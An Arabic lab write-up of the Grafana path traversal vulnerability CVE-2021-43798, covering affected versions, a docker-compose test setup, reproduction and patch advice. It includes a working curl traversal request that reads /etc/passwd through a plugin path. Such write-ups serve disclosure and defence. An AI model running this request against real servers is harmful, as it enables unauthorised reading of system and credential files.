CVE-2021-43798
1. الملخص
- Grafana هي منصة مفتوحة المصدر تدعم مراقبة البيانات وإدارتها، وتوجد في الإصدارات التالية ثغرة اجتياز المسار (Path Traversal) التي تسمح بالتلاعب بمسارات الملفات باستخدام أحرف خاصة مثل
../.
- 8.0.0 وما فوق، وأقل من 8.0.7
- 8.1.0 وما فوق، وأقل من 8.1.8
- 8.2.0 وما فوق، وأقل من 8.2.7
- 8.3.0
- المسار المعرّض للثغرة هو
<grafana_host_url>/public/plugins/<plugin_id>/، حيث <plugin_id> هو معرف المكوّن الإضافي المثبّت. يمكنك التحقق من المسار المعرّض للثغرة عبر المرجع التالي.
2. إعداد البيئة المتأثرة وتشغيلها
2.1 البيئة المستخدمة
2.2 طريقة التشغيل
docker-compose up -d
3. إعادة إنتاج الثغرة
- تأكيد الواجهة المفتوحة
curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd ومن خلاله تمكّنا من الوصول إلى etc/passwd.
4. الخاتمة (الإجراءات التصحيحية)
- إذا كنت تستخدم إصدارًا متأثرًا بالثغرة، يجب التحديث إلى الإصدارات المصححة 8.3.1 و8.2.7 و8.1.8 و8.0.7.
- لمنع ثغرة Path Traversal، يجب تطبيق أسلوب القائمة البيضاء الذي يسمح بالوصول إلى المسارات المسموح بها فقط، وإجراء التحقق من مدخلات المستخدم وتطبيع المسارات، للحد من الوصول غير الطبيعي إلى المسارات مثل الانتقال إلى الدليل الأصلي (../).
المراجع